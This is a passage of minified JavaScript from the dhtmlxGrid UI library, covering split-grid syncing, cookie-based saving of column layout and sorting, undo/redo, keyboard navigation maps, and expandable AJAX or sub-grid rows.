this.editCellA()};this.deleteRowA=this.deleteRow;this.deleteRow=function(C,D){if(this.deleteRowA(C,D)===false){return false}if(this._fake.rowsAr[C]){this._fake.deleteRow(C)}};this.clearAllA=this.clearAll;this.clearAll=function(){this.clearAllA();this._fake.clearAll()};this.editStopA=this.editStop;this.editStop=function(C){if(this._fake.editor){this._fake.editStop(C)}else{this.editStopA(C)}};this.attachEvent(\"onAfterSorting\",function(D,C,E){if(D>=m){this._fake.setSortImgState(false)}});this._fake.sortField=function(D,C,F){this._fake.sortField.call(this._fake,D,C,this._fake.hdr.rows[0].cells[D]);if(this.fldSort[D]!=\"na\"&&this._fake.fldSorted){var E=this._fake.getSortingState()[1];this._fake.setSortImgState(false);this.setSortImgState(true,arguments[0],E)}};this.sortTreeRowsA=this.sortTreeRows;this._fake.sortTreeRowsA=this._fake.sortTreeRows;this.sortTreeRows=this._fake.sortTreeRows=function(E,F,C,D){if(this._realfake){return this._fake.sortTreeRows(E,F,C,D)}this.sortTreeRowsA(E,F,C,D);this._fake._h2syncModel();this._fake.setSortImgStateA(false);this._fake.fldSorted=null};this._fake._fillers=[];this._fake.rowsBuffer=this.rowsBuffer;this.attachEvent(\"onClearAll\",function(){this._fake.rowsBuffer=this.rowsBuffer});this._add_filler_s=this._add_filler;this._add_filler=function(D,C,H,E){if(!this._fake._fillers){this._fake._fillers=[]}if(this._realfake||!E){var F;if(H&&H.idd){F=this._fake.rowsAr[H.idd]}else{if(H&&H.nextSibling){F={};F.nextSibling=this._fake.rowsAr[H.nextSibling.idd];F.parentNode=F.nextSibling.parentNode}else{if(this._fake._fillers.length){F=this._fake._fillers[this._fake._fillers.length-1][2]}}}this._fake._fillers.push(this._fake._add_filler(D,C,F))}return this._add_filler_s.apply(this,arguments)};this._add_from_buffer_s=this._add_from_buffer;this._add_from_buffer=function(){var C=this._add_from_buffer_s.apply(this,arguments);if(C!=-1){this._fake._add_from_buffer.apply(this._fake,arguments);if(this.multiLine){this._correctRowHeight(this.rowsBuffer[arguments[0]].idd)}}return C};this._fake.render_row=function(C){var D=this._fake.render_row(C);if(D==-1){return -1}if(D){return this.rowsAr[D.idd]=this.rowsAr[D.idd]||this._fake.copy_row(D)}return null};this._reset_view_s=this._reset_view;this._reset_view=function(){this._fake._reset_view(true);this._fake._fillers=[];this._reset_view_s()};this.moveColumn_s=this.moveColumn;this.moveColumn=function(D,C){if(C>=m){return this.moveColumn_s(D,C)}};this.attachEvent(\"onCellChanged\",function(H,E,F){if(this._split_event&&E<m&&this.rowsAr[H]){var C=this._fake.rowsAr[H];if(!C){return}if(C._childIndexes){C=C.childNodes[C._childIndexes[E]]}else{C=C.childNodes[E]}var D=this.rowsAr[H].childNodes[E];if(D._treeCell&&D.firstChild.lastChild){D.firstChild.lastChild.innerHTML=F}else{D.innerHTML=C.innerHTML}D._clearCell=false;D.combo_value=C.combo_value;D.chstate=C.chstate}});this._fake.combos=this.combos;this.setSizes();if(this.rowsBuffer[0]){this._reset_view()}this.attachEvent(\"onXLE\",function(){this._fake._correctSplit()});this._fake._correctSplit()};dhtmlXGridObject.prototype._correctSplit=function(c){c=c||(this.obj.scrollWidth-this.objBox.scrollLeft);c=Math.min(this.globalBox.offsetWidth,c);if(c>-1){this.entBox.style.width=c+\"px\";this.objBox.style.width=c+\"px\";var g=(this.globalBox.offsetWidth-this.globalBox.clientWidth)/2;this._fake.entBox.style.left=c+\"px\";this._fake.entBox.style.width=Math.max(0,this.globalBox.offsetWidth-c-(this.quirks?0:2)*g)+\"px\";if(this._fake.ftr){this._fake.ftr.parentNode.style.width=this._fake.entBox.style.width}if(_isIE){var e=_isIE&&!window.xmlHttpRequest;var g=(this.globalBox.offsetWidth-this.globalBox.clientWidth);this._fake.hdrBox.style.width=this._fake.objBox.style.width=Math.max(0,this.globalBox.offsetWidth-(e?g:0)-c)+\"px\"}}};dhtmlXGridObject.prototype._correctRowHeight=function(o,m){if(!this.rowsAr[o]||!this._fake.rowsAr[o]){return}var l=this.rowsAr[o].offsetHeight;var e=this._fake.rowsAr[o].offsetHeight;var a=Math.max(l,e)-(this.rowsAr[o].delta_fix||0);if(!a){return}this.rowsAr[o].style.height=this._fake.rowsAr[o].style.height=Math.round(a+1)+\"px\";this.rowsAr[o].delta_fix=1;if(window._KHTMLrv){var c=this._fake._cCount;var n;while(!n&&c>=0){n=this.rowsAr[o].childNodes[c];c-=1}var g=this._fake.rowsAr[o].firstChild;if(n&&g){n.style.height=g.style.height=a+\"px\";n.style.boxSizing=g.style.boxSizing=\"border-box\"}}};dhtmlXGridObject.prototype.enableAutoSizeSaving=function(c,a){this.attachEvent(\"onResizeEnd\",function(){this.saveSizeToCookie(c,a)})};dhtmlXGridObject.prototype.saveOpenStates=function(c,a){if(!c){c=this.entBox.id}var e=[];this._h2.forEachChild(0,function(h){if(h.state==\"minus\"){e.push(h.id)}});var g=\"gridOpen\"+(c||\"\")+\"=\"+e.join(\"|\")+(a?(\"; \"+a):\"\");document.cookie=g};dhtmlXGridObject.prototype.loadOpenStates=function(e,a){var h=this.getCookie(e,\"gridOpen\");if(!h){return}h=h.split(\"|\");for(var g=0;g<h.length;g++){var c=this.getParentId(h[g]);if(!this.getOpenState(c)){continue}this.openItem(h[g])}};dhtmlXGridObject.prototype.enableAutoHiddenColumnsSaving=function(c,a){this.attachEvent(\"onColumnHidden\",function(){this.saveHiddenColumnsToCookie(c,a)})};dhtmlXGridObject.prototype.enableSortingSaving=function(c,a){this.attachEvent(\"onBeforeSorting\",function(){var e=this;window.setTimeout(function(){e.saveSortingToCookie(c,a)},1);return true})};dhtmlXGridObject.prototype.enableOrderSaving=function(c,a){this.attachEvent(\"onAfterCMove\",function(){this.saveOrderToCookie(c,a);this.saveSizeToCookie(c,a)})};dhtmlXGridObject.prototype.enableAutoSaving=function(c,a){this.enableOrderSaving(c,a);this.enableAutoSizeSaving(c,a);this.enableSortingSaving(c,a)};dhtmlXGridObject.prototype.saveSizeToCookie=function(c,a){if(this.cellWidthType==\"px\"){var h=this.cellWidthPX}else{var h=this.cellWidthPC}var g=(this.initCellWidth||[]).join(\",\");if(this._hrrar){for(var e=0;e<this._hrrar.length;e++){if(this._hrrar[e]){h[e]=\"\"}}}this.setCookie(c,a,0,h.join(\",\"));this.setCookie(c,a,1,g)};dhtmlXGridObject.prototype.saveHiddenColumnsToCookie=function(c,a){var g=[].concat(this._hrrar||[]);if(this._fake&&this._fake._hrrar){for(var e=0;e<this._fake._cCount;e++){g[e]=this._fake._hrrar[e]?\"1\":\"\"}}this.setCookie(c,a,4,g.join(\",\").replace(/display:none;/g,\"1\"))};dhtmlXGridObject.prototype.loadHiddenColumnsFromCookie=function(c){var g=this._getCookie(c,4);var a=(g||\"\").split(\",\");for(var e=0;e<this._cCount;e++){this.setColumnHidden(e,(a[e]?true:false))}};dhtmlXGridObject.prototype.saveSortingToCookie=function(c,a){this.setCookie(c,a,2,(this.getSortingState()||[]).join(\",\"))};dhtmlXGridObject.prototype.loadSortingFromCookie=function(a){var c=this._getCookie(a,2);c=(c||\"\").split(\",\");if(c.length>1&&c[0]<this._cCount){this.sortRows(c[0],null,c[1]);this.setSortImgState(true,c[0],c[1])}};dhtmlXGridObject.prototype.saveOrderToCookie=function(e,a){if(!this._c_order){this._c_order=[];var c=this._cCount;for(var g=0;g<c;g++){this._c_order[g]=g}}this.setCookie(e,a,3,((this._c_order||[]).slice(0,this._cCount)).join(\",\"));this.saveSortingToCookie()};dhtmlXGridObject.prototype.loadOrderFromCookie=function(c){var h=this._getCookie(c,3);h=(h||\"\").split(\",\");if(h.length>1&&h.length<=this._cCount){for(var g=0;g<h.length;g++){if((!this._c_order&&h[g]!=g)||(this._c_order&&h[g]!=this._c_order[g])){var e=h[g];if(this._c_order){for(var a=0;a<this._c_order.length;a++){if(this._c_order[a]==h[g]){e=a;break}}}this.moveColumn(e*1,g)}}}};dhtmlXGridObject.prototype.loadSizeFromCookie=function(a){var e=this._getCookie(a,1);if(e){this.initCellWidth=e.split(\",\")}var e=this._getCookie(a,0);if((e)&&(e.length)){if(!this._fake&&this._hrrar){for(var c=0;c<e.length;c++){if(this._hrrar[c]){e[c]=0}}}e=e.split(\",\");if(this.cellWidthType==\"px\"){this.cellWidthPX=e}else{this.cellWidthPC=e}}for(var c=0;c<e.length;c++){if(e[c]===\"\"){e[c]=this.initCellWidth[c];this.setColumnHidden(c,true)}}this.setSizes();return true};dhtmlXGridObject.prototype.clearConfigCookie=function(a){if(!a){a=this.entBox.id}var c=\"gridSettings\"+a+\"=||||\";document.cookie=c};dhtmlXGridObject.prototype.clearSizeCookie=dhtmlXGridObject.prototype.clearConfigCookie;dhtmlXGridObject.prototype.setCookie=function(c,a,l,g){if(!c){c=this.entBox.id}var e=this.getCookie(c);e=(e||\"||||\").split(\"|\");e[l]=g;var h=\"gridSettings\"+c+\"=\"+e.join(\"|\").replace(/,/g,\"-\")+(a?(\"; \"+a):\"\");document.cookie=h};dhtmlXGridObject.prototype.getCookie=function(c,g){if(!c){c=this.entBox.id}c=(g||\"gridSettings\")+c;var e=c+\"=\";if(document.cookie.length>0){var h=document.cookie.indexOf(e);if(h!=-1){h+=e.length;var a=document.cookie.indexOf(\";\",h);if(a==-1){a=document.cookie.length}return document.cookie.substring(h,a)}}};dhtmlXGridObject.prototype._getCookie=function(a,c){return((this.getCookie(a)||\"||||\").replace(/-/g,\",\").split(\"|\"))[c]};dhtmlXGridObject.prototype.enableUndoRedo=function(){var c=this;var e=function(){return c._onEditUndoRedo.apply(c,arguments)};this.attachEvent(\"onEditCell\",e);var a=function(h,g,l){return c._onEditUndoRedo.apply(c,[2,h,g,(l?1:0),(l?0:1)])};this.attachEvent(\"onCheckbox\",a);this._IsUndoRedoEnabled=true;this._UndoRedoData=[];this._UndoRedoPos=-1};dhtmlXGridObject.prototype.disableUndoRedo=function(){this._IsUndoRedoEnabled=false;this._UndoRedoData=[];this._UndoRedoPos=-1};dhtmlXGridObject.prototype._onEditUndoRedo=function(e,c,l,g,a){if(this._IsUndoRedoEnabled&&e==2&&a!=g){if(this._UndoRedoPos!==-1&&this._UndoRedoPos!=(this._UndoRedoData.length-1)){this._UndoRedoData=this._UndoRedoData.slice(0,this._UndoRedoPos+1)}else{if(this._UndoRedoPos===-1&&this._UndoRedoData.length>0){this._UndoRedoData=[]}}var h={old_value:a,new_value:g,row_id:c,cell_index:l};this._UndoRedoData.push(h);this._UndoRedoPos++}return true};dhtmlXGridObject.prototype.doUndo=function(){if(this._UndoRedoPos===-1){return false}var a=this._UndoRedoData[this._UndoRedoPos--];var e=this.cells(a.row_id,a.cell_index);if(this.getColType(a.cell_index)==\"tree\"){e.setLabel(a.old_value)}else{e.setValue(a.old_value)}this.callEvent(\"onUndo\",[a.row_id])};dhtmlXGridObject.prototype.doRedo=function(){if(this._UndoRedoPos==this._UndoRedoData.length-1){return false}var a=this._UndoRedoData[++this._UndoRedoPos];this.cells(a.row_id,a.cell_index).setValue(a.new_value);this.callEvent(\"onUndo\",[a.row_id])};dhtmlXGridObject.prototype.getRedo=function(){if(this._UndoRedoPos==this._UndoRedoData.length-1){return[]}return this._UndoRedoData.slice(this._UndoRedoPos+1)};dhtmlXGridObject.prototype.getUndo=function(){if(this._UndoRedoPos==-1){return[]}return this._UndoRedoData.slice(0,this._UndoRedoPos+1)};dhtmlXGridObject.prototype.enableAccessKeyMap=function(){this._select_ifpossible=function(){if(this.editor&&this.editor.obj&&this.editor.obj.select){this.editor.obj.select()}};this._key_events={k13_1_0:function(){this.editStop()},k13_0_1:function(){this._key_events.k9_0_1.call(this)},k13_0_0:function(){this._key_events.k9_0_0.call(this)},k9_0_0:function(){this.editStop();if(!this.callEvent(\"onTab\",[true])){return true}var a=this._getNextCell(null,1);if(a){if(this.pagingOn){this.showRow(a.parentNode.idd)}this.selectCell(a.parentNode,a._cellIndex,(this.row!=a.parentNode),false,true);this._still_active=true}this._select_ifpossible()},k9_0_1:function(){this.editStop();if(!this.callEvent(\"onTab\",[false])){return true}var a=this._getNextCell(null,-1);if(a){this.selectCell(a.parentNode,a._cellIndex,(this.row!=a.parentNode),false,true);this._still_active=true}this._select_ifpossible()},k113_0_0:function(){if(this._f2kE){this.editCell()}},k32_0_0:function(){var a=this.cells4(this.cell);if(!a.changeState||(a.changeState()===false)){return false}},k27_0_0:function(){this.editStop(true)},k33_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage-1)}else{this.scrollPage(-1)}},k34_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage+1)}else{this.scrollPage(1)}},k37_0_0:function(){if(this.editor){return false}if(this.isTreeGrid()){this.collapseKids(this.row)}else{this._key_events.k9_0_1.call(this)}},k39_0_0:function(){if(this.editor){return false}if(!this.editor&&this.isTreeGrid()){this.expandKids(this.row)}else{this._key_events.k9_0_0.call(this)}},k37_1_0:function(){if(this.editor){return false}this.selectCell(this.row,0,false,false,true);this._select_ifpossible()},k39_1_0:function(){if(this.editor){return false}this.selectCell(this.row,this._cCount-1,false,false,true);this._select_ifpossible()},k38_1_0:function(){this.selectCell(this.rowsCol[0],this.cell._cellIndex,true,false,true);this._select_ifpossible()},k40_1_0:function(){this.selectCell(this.rowsCol[this.rowsCol.length-1],this.cell._cellIndex,true,false,true);this._select_ifpossible()},k38_0_1:function(){var a=this.getRowIndex(this.row.idd);var c=this._nextRow(a,-1);if(!c||c._sRow||c._rLoad){return false}this.selectCell(c,this.cell._cellIndex,true,false,true);this._select_ifpossible()},k40_0_1:function(){var a=this.getRowIndex(this.row.idd);var c=this._nextRow(a,1);if(!c||c._sRow||c._rLoad){return false}this.selectCell(c,this.cell._cellIndex,true,false,true);this._select_ifpossible()},k38_1_1:function(){var a=this.getRowIndex(this.row.idd);for(var c=a;c>=0;c--){this.selectCell(this.rowsCol[c],this.cell._cellIndex,true,false,true)}},k40_1_1:function(){var a=this.getRowIndex(this.row.idd);for(var c=a+1;c<this.rowsCol.length;c++){this.selectCell(this.rowsCol[c],this.cell._cellIndex,true,false,true)}},k40_0_0:function(){if(this.editor&&this.editor.combo){this.editor.shiftNext()}else{if(!this.row.idd){return}var a=a=this.getRowIndex(this.row.idd)+1;if(this.rowsBuffer[a]){var c=this._nextRow(a-1,1);if(this.pagingOn&&c){this.showRow(c.idd)}this._Opera_stop=0;this.selectCell(c,this.cell._cellIndex,true,false,true)}else{if(!this.callEvent(\"onLastRow\",[])){return false}this._key_events.k34_0_0.apply(this,[])}}this._still_active=true},k36_0_0:function(){return this._key_events.k37_1_0.call(this)},k35_0_0:function(){return this._key_events.k39_1_0.call(this)},k36_1_0:function(){if(this.editor||!this.rowsCol.length){return false}this.selectCell(this.rowsCol[0],0,true,false,true);this._select_ifpossible()},k35_1_0:function(){if(this.editor||!this.rowsCol.length){return false}this.selectCell(this.rowsCol[this.rowsCol.length-1],this._cCount-1,true,false,true);this._select_ifpossible()},k33_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage-1)}else{this.scrollPage(-1)}},k34_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage+1)}else{this.scrollPage(1)}},k38_0_0:function(){if(this.editor&&this.editor.combo){this.editor.shiftPrev()}else{if(!this.row.idd){return}var a=a=this.getRowIndex(this.row.idd)+1;if(a!=-1){var c=this._nextRow(a-1,-1);this._Opera_stop=0;if(this.pagingOn&&c){this.showRow(c.idd)}this.selectCell(c,this.cell._cellIndex,true,false,true)}else{this._key_events.k33_0_0.apply(this,[])}}this._still_active=true}}};dhtmlXGridObject.prototype.enableExcelKeyMap=function(){this._key_events={k13_1_0:function(){this.editStop()},k13_0_1:function(){this.editStop();this._key_events.k38_0_0.call(this)},k13_0_0:function(){this.editStop();this.callEvent(\"onEnter\",[(this.row?this.row.idd:null),(this.cell?this.cell._cellIndex:null)]);this._still_active=true;this._key_events.k40_0_0.call(this)},k9_0_0:function(){this.editStop();if(!this.callEvent(\"onTab\",[true])){return true}if(this.cell&&(this.cell._cellIndex+1)>=this._cCount){return}var a=this._getNextCell(null,1);if(a&&this.row==a.parentNode){this.selectCell(a.parentNode,a._cellIndex,true);this._still_active=true}},k9_0_1:function(){this.editStop();if(!this.callEvent(\"onTab\",[false])){return true}if(this.cell&&(this.cell._cellIndex==0)){return}var a=this._getNextCell(null,-1);if(a&&this.row==a.parentNode){this.selectCell(a.parentNode,a._cellIndex,true);this._still_active=true}},k113_0_0:function(){if(this._f2kE){this.editCell()}},k32_0_0:function(){var a=this.cells4(this.cell);if(!a.changeState||(a.changeState()===false)){return false}},k27_0_0:function(){this.editStop(true);this._still_active=true},k33_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage-1)}else{this.scrollPage(-1)}},k34_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage+1)}else{this.scrollPage(1)}},k37_0_0:function(){if(this.editor){return false}if(this.isTreeGrid()){this.collapseKids(this.row)}else{this._key_events.k9_0_1.call(this)}},k39_0_0:function(){if(this.editor){return false}if(!this.editor&&this.isTreeGrid()){this.expandKids(this.row)}else{this._key_events.k9_0_0.call(this)}},k37_1_0:function(){if(this.editor){return false}this.selectCell(this.row,0,true)},k39_1_0:function(){if(this.editor){return false}this.selectCell(this.row,this._cCount-1,true)},k38_1_0:function(){if(this.editor||!this.rowsCol.length){return false}this.selectCell(this.rowsCol[0],this.cell._cellIndex,true)},k40_1_0:function(){if(this.editor||!this.rowsCol.length){return false}this.selectCell(this.rowsCol[this.rowsCol.length-1],this.cell._cellIndex,true)},k38_0_1:function(){if(this.editor||!this.rowsCol.length){return false}var a=this.row.rowIndex;var c=this._nextRow(a-1,-1);if(!c||c._sRow||c._rLoad){return false}this.selectCell(c,this.cell._cellIndex,true,true)},k40_0_1:function(){if(this.editor||!this.rowsCol.length){return false}var a=this.row.rowIndex;var c=this._nextRow(a-1,1);if(!c||c._sRow||c._rLoad){return false}this.selectCell(c,this.cell._cellIndex,true,true)},k38_1_1:function(){if(this.editor||!this.rowsCol.length){return false}var a=this.row.rowIndex;for(var c=a-1;c>=0;c--){this.selectCell(this.rowsCol[c],this.cell._cellIndex,true,true)}},k40_1_1:function(){if(this.editor||!this.rowsCol.length){return false}var a=this.row.rowIndex;for(var c=a;c<this.rowsCol.length;c++){this.selectCell(this.rowsCol[c],this.cell._cellIndex,true,true)}},k40_0_0:function(){var c=this._realfake?this._fake:this;if(this.editor&&this.editor.combo){this.editor.shiftNext()}else{if(this.editor){return false}var a=Math.max((c._r_select||0),this.getRowIndex(this.row.idd));var e=this._nextRow(a,1);if(e){c._r_select=null;this.selectCell(e,this.cell._cellIndex,true);if(c.pagingOn){c.showRow(e.idd)}}else{if(!this.callEvent(\"onLastRow\",[])){return false}this._key_events.k34_0_0.apply(this,[])}}},k36_0_0:function(){return this._key_events.k37_1_0.call(this)},k35_0_0:function(){return this._key_events.k39_1_0.call(this)},k36_1_0:function(){if(this.editor||!this.rowsCol.length){return false}this.selectCell(this.rowsCol[0],0,true)},k35_1_0:function(){if(this.editor||!this.rowsCol.length){return false}this.selectCell(this.rowsCol[this.rowsCol.length-1],this._cCount-1,true)},k33_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage-1)}else{this.scrollPage(-1)}},k34_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage+1)}else{this.scrollPage(1)}},k38_0_0:function(){var c=this._realfake?this._fake:this;if(this.editor&&this.editor.combo){this.editor.shiftPrev()}else{if(this.editor){return false}if(!this.row.idd){return}var a=this.getRowIndex(this.row.idd)+1;if(a!=-1&&(!this.pagingOn||(a!=1))){var e=this._nextRow(a-1,-1);this.selectCell(e,this.cell._cellIndex,true);if(c.pagingOn&&e){c.showRow(e.idd)}}else{this._key_events.k33_0_0.apply(this,[])}}},k_other:function(e){if(this.editor){return false}if(!e.ctrlKey&&e.keyCode>=40&&(e.keyCode<91||(e.keyCode>95&&e.keyCode<111)||e.keyCode>187)){if(this.cell){var g=this.cells4(this.cell);if(g.isDisabled()){return false}var a=g.getValue();if(g.editable!==false){g.setValue(\"\")}this.editCell();if(this.editor){this.editor.val=a;if(this.editor.obj&&this.editor.obj.select){this.editor.obj.select()}}else{g.setValue(a)}}}}}};function eXcell_time(a){this.base=eXcell_ed;this.base(a);this.getValue=function(){return this.cell.innerHTML.toString()};this.setValue=function(l){var h=new RegExp(\" \",\"i\");l=l.replace(h,\":\");if((l==\"\")){l=\"00:00\"}else{var h=new RegExp(\"[a-zA-Z]\",\"i\");var g=l.match(h);if(g){l=\"00:00\"}else{var h=new RegExp(\"[0-9]+[\\\\.\\\\/;\\\\-,_\\\\]\\\\[\\\\?\\\\: ][0-9]+\",\"i\");var g=l.search(h);if(g!=-1){var h=new RegExp(\"[\\\\./\\\\;\\\\-\\\\,\\\\_\\\\]\\\\[ \\\\?]\",\"i\");l=l.replace(h,\":\")}else{var h=new RegExp(\"[^0-9]\",\"i\");res1=l.search(h);if(g=l.match(h)){l=\"00:00\"}else{if(l.length==1){l=\"00:0\"+l}else{if(parseInt(l)<60){l=\"00:\"+l}else{if(l.length<5){var e=parseInt(l);var c=Math.floor(e/60);e=e-60*c;var c=c.toString();var e=e.toString();while(c.length<2){c=\"0\"+c}while(e.length<2){e=\"0\"+e}l=c+\":\"+e}}}}}}}this.cell.innerHTML=l}}eXcell_time.prototype=new eXcell_ed;function eXcell_sub_row(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.getValue=function(){return this.grid.getUserData(this.cell.parentNode.idd,\"__sub_row\")};this._setState=function(c,e){(e||this.cell).innerHTML=\"<img src='\"+this.grid.imgURL+c+\"' width='18' height='18' />\";(e||this.cell).firstChild.onclick=this.grid._expandMonolite};this.open=function(){this.cell.firstChild.onclick(null,true)};this.close=function(){this.cell.firstChild.onclick(null,false,true)};this.isOpen=function(){return !!this.cell.parentNode._expanded};this.setValue=function(c){if(c){this.grid.setUserData(this.cell.parentNode.idd,\"__sub_row\",c)}this._setState(c?\"plus.gif\":\"blank.gif\")};this.setContent=function(c){if(this.cell.parentNode._expanded){this.cell.parentNode._expanded.innerHTML=c;this.resize()}else{this.cell._previous_content=null;this.setValue(c);this.cell._sub_row_type=null}};this.resize=function(){this.grid._detectHeight(this.cell.parentNode._expanded,this.cell,this.cell.parentNode._expanded.scrollHeight)},this.isDisabled=function(){return true};this.getTitle=function(){return this.grid.getUserData(this.cell.parentNode.idd,\"__sub_row\")?\"click to expand|collapse\":\"\"}}eXcell_sub_row.prototype=new eXcell;function eXcell_sub_row_ajax(a){this.base=eXcell_sub_row;this.base(a);this.setValue=function(c){if(c){this.grid.setUserData(this.cell.parentNode.idd,\"__sub_row\",c)}this.cell._sub_row_type=\"ajax\";this.cell._previous_content=null;this._setState(c?\"plus.gif\":\"blank.gif\")}}eXcell_sub_row_ajax.prototype=new eXcell_sub_row;function eXcell_sub_row_grid(a){this.base=eXcell_sub_row;this.base(a);this.setValue=function(c){if(c){this.grid.setUserData(this.cell.parentNode.idd,\"__sub_row\",c)}this.cell._sub_row_type=\"grid\";this._setState(c?\"plus.gif\":\"blank.gif\")};this.getSubGrid=function(){if(!a._sub_grid){return null}return a._sub_grid}}eXcell_sub_row_grid.prototype=new eXcell_sub_row;dhtmlXGridObject.prototype._expandMonolite=function(a,s,l){var e=this.parentNode;var u=e.parentNode;var o=u.grid;if(a||window.event){if(!l&&!u._expanded){o.editStop()}(a||event).cancelBubble=true}var r=o.getUserData(u.idd,\"__sub_row\");if(!o._sub_row_editor){o._sub_row_editor=new eXcell_sub_row(e)}if(!r){return}if(u._expanded&&!s){o._sub_row_editor._setState(\"plus.gif\",e);e._previous_content=u._expanded;o.objBox.removeChild(u._expanded);u._expanded=false;u.style.height=(u.oldHeight||20)+\"px\";e.style.height=(u.oldHeight||20)+\"px\";if(o._fake){o._fake.rowsAr[u.idd].style.height=(u.oldHeight||20)+\"px\";o._fake.rowsAr[u.idd].firstChild.style.height=(u.oldHeight||20)+\"px\"}for(var h=0;h<u.cells.length;h++){u.cells[h].style.verticalAlign=\"middle\"}delete o._flow[u.idd];o._correctMonolite();u._expanded.ctrl=null}else{if(!u._expanded&&!l){o._sub_row_editor._setState(\"minus.gif\",e);u.oldHeight=e.offsetHeight-4;if(e._previous_content){var q=e._previous_content;q.ctrl=e;o.objBox.appendChild(q);o._detectHeight(q,e,parseInt(q.style.height))}else{var q=document.createElement(\"DIV\");q.ctrl=e;if(e._sub_row_type){o._sub_row_render[e._sub_row_type](o,q,e,r)}else{q.innerHTML=r}q.style.cssText=\"position:absolute; left:0px; top:0px; overflow:auto; font-family:Tahoma; font-size:8pt; margin-top:2px; margin-left:4px;\";q.className=\"dhx_sub_row\";o.objBox.appendChild(q);o._detectHeight(q,e)}if(!o._flow){o.attachEvent(\"onGridReconstructed\",function(){if((this.pagingOn&&!this.parentGrid)||this._srnd){this._collapsMonolite()}else{this._correctMonolite()}});o.attachEvent(\"onResizeEnd\",function(){this._correctMonolite(true)});o.attachEvent(\"onAfterCMove\",function(){this._correctMonolite(true)});o.attachEvent(\"onDrop\",function(){this._correctMonolite(true)});o.attachEvent(\"onBeforePageChanged\",function(){this._collapsMonolite();return true});o.attachEvent(\"onGroupStateChanged\",function(){this._correctMonolite();return true});o.attachEvent(\"onFilterEnd\",function(){this._collapsMonolite()});o.attachEvent(\"onUnGroup\",function(){this._collapsMonolite()});o.attachEvent(\"onPageChanged\",function(){this._collapsMonolite()});o.attachEvent(\"onXLE\",function(){this._collapsMonolite()});o.attachEvent(\"onClearAll\",function(){for(var c in this._flow){if(this._flow[c]&&this._flow[c].parentNode){this._flow[c].parentNode.removeChild(this._flow[c])}}this._flow=[]});o.attachEvent(\"onEditCell\",function(v,n,w){if((v!==2)&&this._flow[n]&&this.cellType[w]!=\"ch\"&&this.cellType[w]!=\"ra\"){this._expandMonolite.apply(this._flow[n].ctrl.firstChild,[0,false,true])}return true});o.attachEvent(\"onCellChanged\",function(w,n){if(!this._flow[w]){return}var v=this.cells(w,n).cell;v.style.verticalAlign=\"top\"});o._flow=[]}o._flow[u.idd]=q;o._correctMonolite();var m=o._srdh>30?11:3;if(o.multiLine){m=0}for(var h=0;h<u.cells.length;h++){u.cells[h].style.verticalAlign=\"top\"}if(o._fake){var g=o._fake.rowsAr[u.idd];for(var h=0;h<g.cells.length;h++){g.cells[h].style.verticalAlign=\"top\"}}u._expanded=q}}if(o._ahgr){o.setSizes()}if(o.parentGrid){o.callEvent(\"onGridReconstructed\",[])}o.callEvent(\"onSubRowOpen\",[u.idd,(!!u._expanded)])};dhtmlXGridObject.prototype._sub_row_render={ajax:function(that,d,td,c){d.innerHTML=\"Loading...\";dhx4.ajax.get(c,function(xml){d.innerHTML=xml.xmlDoc.responseText;var z=xml.xmlDoc.responseText.match(/<script[^>]*>([^\\f]+?)<\\/script>/g);if(z){for(var i=0;i<z.length;i++){eval(z[i].replace(/<([\\/]{0,1})s[^>]*>/g,\"\"))}}that._detectHeight(d,td);that._correctMonolite();that.setUserData(td.parentNode.idd,\"__sub_row\",xml.xmlDoc.responseText);td._sub_row_type=null;if(that._ahgr){that.setSizes()}that.callEvent(\"onSubAjaxLoad\",[td.parentNode.idd,xml.xmlDoc.responseText])})},grid:function(a,e,h,g){h._sub_grid=new dhtmlXGridObject(e);if(a.skin_name){h._sub_grid.setSkin(a.skin_name)}h._sub_grid.parentGrid=a;h._sub_grid.imgURL=a.imgURL;h._sub_grid.iconURL=a.iconURL;h._sub_grid.enableAutoHeight(true);h._sub_grid._delta_x=h._sub_grid._delta_y=null;h._sub_grid.attachEvent(\"onGridReconstructed\",function(){a._detectHeight(e,h,h._sub_grid.objBox.scrollHeight+h._sub_grid.hdr.offsetHeight+(this.ftr?this.ftr.offsetHeight:0));a._correctMonolite();this.setSizes();if(a.parentGrid){a.callEvent(\"onGridReconstructed\",[])}});if(!a.callEvent(\"onSubGridCreated\",[h._sub_grid,h.parentNode.idd,h._cellIndex,g])){h._sub_grid.objBox.style.overflow=\"hidden\";h._sub_row_type=null}else{h._sub_grid.loadXML(g,function(){a._detectHeight(e,h,h._sub_grid.objBox.scrollHeight+h._sub_grid.hdr.offsetHeight+(h._sub_grid.ftr?h._sub_grid.ftr.offsetHeight:0));h._sub_grid.objBox.style.overflow=\"hidden\";a._correctMonolite();h._sub_row_type=null;if(!a.callEvent(\"onSubGridLoaded\",[h._sub_grid,h.parentNode.idd,h._cellIndex,g])){return}if(a._ahgr){a.setSizes()}})}}};dhtmlXGridObject.prototype._detectHeight=function(m,n,c){var a=n.offsetLeft+n.offsetWidth;m.style.left=a+\"px\";m.style.width=Math.max(0,n.parentNode.offsetWidth-a-4)+\"px\";var c=c||m.scrollHeight;m.style.overflow=\"hidden\";m.style.height=c+\"px\";var g=n.parentNode;n.parentNode.style.height=(g.oldHeight||20)+c*1+\"px\";n.style.height=(g.oldHeight||20)+c*1+\"px\";if(this._fake){var e=this._fake.rowsAr[n.parentNode.idd];e.style.height=(g.oldHeight||20)+c*1+\"px\";e.firstChild.style.height=(g.oldHeight||20)+c*1+\"px\"}};dhtmlXGridObject.prototype._correctMonolite=function(g){if(this._in_correction){return}this._in_correction=true;for(var e in this._flow){if(this._flow[e]&&this._flow[e].tagName==\"DIV\"){if(this.rowsAr[e]){if(this.rowsAr[e].style.display==\"none\"){this.cells4(this._flow[e].ctrl).close();continue}this._flow[e].style.top=this.rowsAr[e].offsetTop+(this.rowsAr[e].oldHeight||20)+\"px\";if(g){var c=this._flow[e].ctrl.offsetLeft+this._flow[e].ctrl.offsetWidth;this._flow[e].style.left=c+\"px\";this._flow[e].style.width=this.rowsAr[e].offsetWidth-c-4+\"px\"}}else{this._flow[e].ctrl=null;this.objBox.removeChild(this._flow[e]);delete 